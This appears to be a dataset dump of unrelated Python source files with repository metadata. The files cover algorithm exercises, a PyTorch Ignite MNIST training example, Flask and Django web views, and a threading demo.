# class Solution:
# def lengthOfLIS(self, nums):
# log=[0 for i in range(len(nums))]
# for i in range(len(nums)):
# m=0
# for j in range(i):
# if nums[j]<nums[i]:
# m=max(m,log[j])
# log[i]=m+1
# return max(log)
#
# another solution
class Solution:
def lengthOfLIS(self, nums):
if len(nums) == 0:
return 0
log = []
for num in nums:
if len(log) == 0 or num > log[-1]:
log.append(num)
continue
start = 0
end = len(log) - 1
while start <= end:
mid = (start + end) // 2
if log[mid] >= num:
end = mid - 1
else:
start = mid + 1
log[start] = num
return len(log)
sl = Solution()
nums = [10, 9, 2, 5, 3, 7, 101, 18]
print(sl.lengthOfLIS(nums))
| [
"[email protected]"
] | |
82d5072c95d430143fba75124b748cf8add70456 | d342898f0a632b28d5c6f594208300c546cb51e3 | /Helper.py | ee73a7910b6b3f420a71ca6c2bdb1f2d9ec9298c | [] | no_license | DragonKiller952/ST-Groep-8 | 91ce869b1905504e65d84acf104fc68156d0ef91 | 00c19288b2fb5a6110fba6a2eea7b03650d0e534 | refs/heads/main | 2023-01-31T22:08:12.134684 | 2020-12-17T09:05:02 | 2020-12-17T09:05:02 | 318,191,516 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 612 | py | # Chosing blue
def standard_color(*args):
return 'blue'
# Chosing random without duplicates
def unique_random(self, choices, used):
choice = self.random.choice(choices)
while choice in used:
choice = self.random.choice(choices)
used.append(choice)
return choice
# Chosing color based on agent id
def id_color(self, choices, used):
return choices[self.agentId]
# Chosing position based on agent id
def id_coord(self, choices, used):
coords = [(12, 75), (30, 60), (40, 80), (40, 90), (60, 80), (50, 35), (60, 35), (65, 15), (75, 40), (90, 45)]
return coords[self.agentId] | [
"[email protected]"
] | |
09fb11f511d0b05365e34eecb467462c7c0d96a0 | de24f83a5e3768a2638ebcf13cbe717e75740168 | /moodledata/vpl_data/97/usersdata/228/56191/submittedfiles/lecker.py | 8478e84811202758aba6f53520c3def648a83ece | [] | no_license | rafaelperazzo/programacao-web | 95643423a35c44613b0f64bed05bd34780fe2436 | 170dd5440afb9ee68a973f3de13a99aa4c735d79 | refs/heads/master | 2021-01-12T14:06:25.773146 | 2017-12-22T16:05:45 | 2017-12-22T16:05:45 | 69,566,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 838 | py | # -*- coding: utf-8 -*-
from __future__ import division
n=int(input('digite o número de elementos:'))
lista1=[]
lista2=[]
for i in range (0,n,1):
termo1=int(input('digite o termo:'))
lista1.append(termo1)
for i in range (0,n,1):
termo2=int(input('digite o termo:'))
lista2.append(termo2)
def leker(a):
cont=0
if lista[0]>lista[1]:
cont=cont+1
elif lista[n]>lista[n-1]:
cont=cont+1
else:
for i in range(lista[1],len(lista),1):
if lista[i-1]<lista[i]<lista[i+1]:
cont=cont+1
if cont==1:
return True
else:
return False
if leker(lista1):
print('S')
elif leker(lista1)==False:
print('N')
if leker(lista2):
print('S')
elif leker(lista2)==False:
print('N')
| [
"[email protected]"
] | |
440db3f7231af9543565979f36d3760abc278062 | 5f1afd8240ce286b0a78f61b7faa3a53e4d170e1 | /examples/contrib/mnist/mnist_with_neptune_logger.py | 2f7c7d2bc0784994e1fff9e02cd16acff0e25d91 | [
"BSD-3-Clause"
] | permissive | dnola/ignite | b71e5fe7c57fe157c09044d534321b070ec4c844 | da86f6d83268cba0275a18be506a69f142157e97 | refs/heads/master | 2020-12-29T08:47:24.519519 | 2020-02-07T14:30:29 | 2020-02-07T14:30:29 | 238,542,050 | 0 | 0 | BSD-3-Clause | 2020-02-05T20:29:07 | 2020-02-05T20:29:06 | null | UTF-8 | Python | false | false | 6,778 | py | """
MNIST example with training and validation monitoring using Neptune.
Requirements:
Neptune: `pip install neptune-client`
Usage:
Run the example:
```bash
python mnist_with_neptune_logger.py
```
Go to https://neptune.ai and explore your experiment.
Note:
You can see an example experiment here:
https://ui.neptune.ai/o/neptune-ai/org/pytorch-ignite-integration/e/PYTOR-26/charts
"""
import sys
from argparse import ArgumentParser
import logging
import torch
from torch.utils.data import DataLoader
from torch import nn
import torch.nn.functional as F
from torch.optim import SGD
from torchvision.datasets import MNIST
from torchvision.transforms import Compose, ToTensor, Normalize
from ignite.engine import Events, create_supervised_trainer, create_supervised_evaluator
from ignite.metrics import Accuracy, Loss
from ignite.contrib.handlers.neptune_logger import *
LOG_INTERVAL = 10
class Net(nn.Module):
def __init__(self):
super(Net, self).__init__()
self.conv1 = nn.Conv2d(1, 10, kernel_size=5)
self.conv2 = nn.Conv2d(10, 20, kernel_size=5)
self.conv2_drop = nn.Dropout2d()
self.fc1 = nn.Linear(320, 50)
self.fc2 = nn.Linear(50, 10)
def forward(self, x):
x = F.relu(F.max_pool2d(self.conv1(x), 2))
x = F.relu(F.max_pool2d(self.conv2_drop(self.conv2(x)), 2))
x = x.view(-1, 320)
x = F.relu(self.fc1(x))
x = F.dropout(x, training=self.training)
x = self.fc2(x)
return F.log_softmax(x, dim=-1)
def get_data_loaders(train_batch_size, val_batch_size):
data_transform = Compose([ToTensor(), Normalize((0.1307,), (0.3081,))])
train_loader = DataLoader(MNIST(download=True, root=".", transform=data_transform, train=True),
batch_size=train_batch_size, shuffle=True)
val_loader = DataLoader(MNIST(download=False, root=".", transform=data_transform, train=False),
batch_size=val_batch_size, shuffle=False)
return train_loader, val_loader
def run(train_batch_size, val_batch_size, epochs, lr, momentum, neptune_project):
train_loader, val_loader = get_data_loaders(train_batch_size, val_batch_size)
model = Net()
device = 'cpu'
if torch.cuda.is_available():
device = 'cuda'
optimizer = SGD(model.parameters(), lr=lr, momentum=momentum)
criterion = nn.CrossEntropyLoss()
trainer = create_supervised_trainer(model, optimizer, criterion, device=device)
if sys.version_info > (3,):
from ignite.contrib.metrics.gpu_info import GpuInfo
try:
GpuInfo().attach(trainer)
except RuntimeError:
print("INFO: By default, in this example it is possible to log GPU information (used memory, utilization). "
"As there is no pynvml python package installed, GPU information won't be logged. Otherwise, please "
"install it : `pip install pynvml`")
metrics = {
'accuracy': Accuracy(),
'loss': Loss(criterion)
}
train_evaluator = create_supervised_evaluator(model, metrics=metrics, device=device)
validation_evaluator = create_supervised_evaluator(model, metrics=metrics, device=device)
@trainer.on(Events.EPOCH_COMPLETED)
def compute_metrics(engine):
train_evaluator.run(train_loader)
validation_evaluator.run(val_loader)
npt_logger = NeptuneLogger(api_token=None,
project_name=neptune_project,
name='ignite-mnist-example',
params={'train_batch_size': train_batch_size,
'val_batch_size': val_batch_size,
'epochs': epochs,
'lr': lr,
'momentum': momentum})
npt_logger.attach(trainer,
log_handler=OutputHandler(tag="training",
output_transform=lambda loss: {'batchloss': loss},
metric_names='all'),
event_name=Events.ITERATION_COMPLETED(every=100))
npt_logger.attach(train_evaluator,
log_handler=OutputHandler(tag="training",
metric_names=["loss", "accuracy"],
another_engine=trainer),
event_name=Events.EPOCH_COMPLETED)
npt_logger.attach(validation_evaluator,
log_handler=OutputHandler(tag="validation",
metric_names=["loss", "accuracy"],
another_engine=trainer),
event_name=Events.EPOCH_COMPLETED)
npt_logger.attach(trainer,
log_handler=OptimizerParamsHandler(optimizer),
event_name=Events.ITERATION_COMPLETED(every=100))
npt_logger.attach(trainer,
log_handler=WeightsScalarHandler(model),
event_name=Events.ITERATION_COMPLETED(every=100))
npt_logger.attach(trainer,
log_handler=GradsScalarHandler(model),
event_name=Events.ITERATION_COMPLETED(every=100))
# kick everything off
trainer.run(train_loader, max_epochs=epochs)
npt_logger.close()
if __name__ == "__main__":
parser = ArgumentParser()
parser.add_argument('--batch_size', type=int, default=64,
help='input batch size for training (default: 64)')
parser.add_argument('--val_batch_size', type=int, default=1000,
help='input batch size for validation (default: 1000)')
parser.add_argument('--epochs', type=int, default=10,
help='number of epochs to train (default: 10)')
parser.add_argument('--lr', type=float, default=0.01,
help='learning rate (default: 0.01)')
parser.add_argument('--momentum', type=float, default=0.5,
help='SGD momentum (default: 0.5)')
parser.add_argument("--neptune_project", type=str,
help="your project in neptune.ai")
args = parser.parse_args()
# Setup engine logger
logger = logging.getLogger("ignite.engine.engine.Engine")
handler = logging.StreamHandler()
formatter = logging.Formatter("%(asctime)s %(name)-12s %(levelname)-8s %(message)s")
handler.setFormatter(formatter)
logger.addHandler(handler)
logger.setLevel(logging.INFO)
run(args.batch_size, args.val_batch_size, args.epochs, args.lr, args.momentum, args.neptune_project)
| [
"[email protected]"
] | |
605f934856fa73abaca59a8d4b985a30749fa454 | f47ac8d59fe1c0f807d699fe5b5991ed3662bfdb | /binary24.py | 9cad221c86da71526bc3fda5faefd88b49ae47c7 | [] | no_license | YanglanWang/jianzhi_offer | 5561d8a29881d8504b23446353e9f969c01ed0c5 | 1c568f399ed6ac1017671c40c765e609c1b6d178 | refs/heads/master | 2020-06-16T10:41:44.979558 | 2019-08-03T09:07:37 | 2019-08-03T09:07:37 | 195,543,754 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,224 | py | import create_tree
class TreeNode:
def __init__(self, x):
self.val = x
self.left = None
self.right = None
class Solution:
# def FindPath(self, root, expectNumber):
# # write code here
# start=root
# if start==None:
# return []
# if start.left==None and start.right==None and start.val==expectNumber:
# return [[start.val]]
# leftpath=self.FindPath(start.left,expectNumber-start.val)
# rightpath=self.FindPath(start.right,expectNumber-start.val)
# for i in leftpath+rightpath:
# i=i.insert(0,start.val)
# return leftpath+rightpath
def FindPath(self, root, expectNumber):
if root.left==None and root.right==None:
if root.val==expectNumber:
return [[root.val]]
else:
return []
if root.left!=None:
a=self.FindPath(root.left,expectNumber-root.val)
if root.right!=None:
b=self.FindPath(root.right,expectNumber-root.val)
for i in a+b:
i.insert(0,root.val)
return a+b
a=Solution()
root=create_tree.fromList([10,5,12,4,7])
b=a.FindPath(root,22)
print(b) | [
"[email protected]"
] | |
4ad984ec5a966cb62eaeb618dfbc4aafb9fcd4f7 | 7100c3c8012dcf2bc6427bf33c55662bc61924f2 | /api/v1/views/cities.py | ecabd72acf87d8cdd29c4b5dfb6bb78c183ae1ca | [
"LicenseRef-scancode-public-domain"
] | permissive | OscarDRT/AirBnB_clone_v3 | c3ffa7b7ffb5182143b0f37c8ef7d1342cdffa0a | 9f015b7f1aa1b9c7f7f0d85fd7f5dc97a6679e9c | refs/heads/master | 2022-05-27T07:35:53.627606 | 2020-04-29T21:55:33 | 2020-04-29T21:55:33 | 259,408,927 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,956 | py | #!/usr/bin/python3
"""Documentation"""
from flask import Flask, jsonify, abort, make_response, request
from api.v1.views import app_views
from models.state import *
from models.city import *
from models import storage
@app_views.route('/states/<state_id>/cities', methods=['GET', 'POST'],
strict_slashes=False)
def cities_li(state_id):
"""cities"""
state = storage.get(State, state_id)
if state is None:
abort(404)
if request.method == 'GET':
cities_list = []
for key, value in storage.all('City').items():
if value.state_id == str(state_id):
cities_list.append(value.to_dict())
return jsonify(cities_list)
if request.method == 'POST':
data = request.get_json()
if data is None:
return (jsonify({"error": "Not a JSON"}), 400)
if 'name' in data:
data['state_id'] = state_id
city = City(**data)
city.save()
data2 = storage.get(City, city.id).to_dict()
return make_response(jsonify(data2), 201)
return (jsonify({"error": "Missing name"}), 400)
@app_views.route('/cities/<city_id>', methods=['GET', 'DELETE', 'PUT'],
strict_slashes=False)
def my_city(city_id):
"""city"""
city = storage.get(City, city_id)
if city is None:
abort(404)
if request.method == 'GET':
return jsonify(city.to_dict())
if request.method == 'DELETE':
storage.delete(city)
storage.save()
return jsonify({}), 200
if request.method == 'PUT':
data = request.get_json()
if data is None:
return (jsonify({"error": "Not a JSON"}), 400)
ignorekey = ['id', 'created_at', 'updated_at']
for key, value in data.items():
if key not in ignorekey:
setattr(city, key, value)
city.save()
return jsonify(city.to_dict()), 200
| [
"[email protected]"
] | |
707533be29f322011c761603977cdb06d18f4ac2 | 972aca82afd04ec6cbb4bf7225e3dcd56fe6f3f0 | /face_recog/recognition/views.py | 044b04aa9c2b8708a1c1e95018615f2a28c6cf5a | [] | no_license | sbhusal123/On-web-face-recognition | a41b05e53e691648f5c0296f6ad919e353e07221 | 5ff56aacce759656af407ac2cba03f72b2ce3de4 | refs/heads/master | 2022-02-25T16:12:58.746395 | 2019-09-07T06:06:37 | 2019-09-07T06:06:37 | 166,095,690 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,841 | py | from django.shortcuts import render,HttpResponse
from django.core.files.storage import FileSystemStorage
import os
import shutil
from django.conf import settings
from .models import User
# Create your views here.
def index(request):
if request.method == 'POST' and request.FILES['myfile']:
try:
os.remove(os.path.join(settings.BASE_DIR, 'media/test_file/test_image.jpg'))
except:
pass
myfile = request.FILES['myfile']
myfile.name = "test_image.jpg"
fs = FileSystemStorage(location="media/test_file")
filename = fs.save(myfile.name, myfile)
uploaded_file_url = "/media/test_file/test_image.jpg"
print(uploaded_file_url)
return render(request, 'index.html',{'uploaded_file_url':uploaded_file_url})
return render(request,'index.html')
def registerUser(request):
if request.method == 'POST' and request.FILES['profile_image']:
username= request.POST["username"]
myfile = request.FILES['profile_image']
myfile.name = username+".jpeg"
User.objects.create(username=username,profile_pic = myfile)
return render(request, 'index.html')
return render(request,'index.html')
def Scan(request):
if request.method =="POST":
name_list = []
unknown_pictures = os.path.join(settings.BASE_DIR,'/media/test_file')
known_pictures = os.path.join(settings.BASE_DIR, '/media/profile_image')
command = "face_recognition ."+known_pictures+" ."+unknown_pictures+""
out = os.popen(command).read()
each_line = out.split("\n")
each_line.remove("")
for l in each_line:
name = l.split(",")[1]
name_list.append(name)
return render(request, 'index.html',{'found':name_list})
return render(request, 'index.html')
| [
"="
] | = |
15632584457de864ad6c921b7228c6996d3390a5 | ebdeaa70f6e30abab03a1589bcdd56d1339151ef | /day18Python多线程/day18-多线程/code1/耗时操作.py | 4fe94df37f17e3955e313560c7b922708e178a96 | [] | no_license | gilgameshzzz/learn | 490d8eb408d064473fdbfa3f1f854c2f163a7ef6 | d476af77a6163ef4f273087582cbecd7f2ec15e6 | refs/heads/master | 2020-03-31T11:32:42.909453 | 2018-11-22T03:34:45 | 2018-11-22T03:34:45 | 152,181,143 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 795 | py | """__author__ = 余婷"""
import pygame
from random import randint
import time
"""
1.耗时操作放到主线程中的问题：
耗时操作放到主线程中，会阻塞线程
多个耗时操作都放到一个线程中执行，最终执行的时间是两个耗时操作的时间和
2.怎么解决问题？
使用多线程(创建多个线程)
"""
def rand_color():
return randint(0, 255),randint(0, 255),randint(0, 255)
def long_time():
print('耗时操作开始')
time.sleep(10)
print('耗时操作结束')
def download(file):
print('开始下载',file)
time.sleep(10)
print(file, '下载结束')
if __name__ == '__main__':
print('====')
print(time.time())
download('狄仁杰')
download('爱情公寓')
print(time.time())
print('!!!') | [
"[email protected]"
] |
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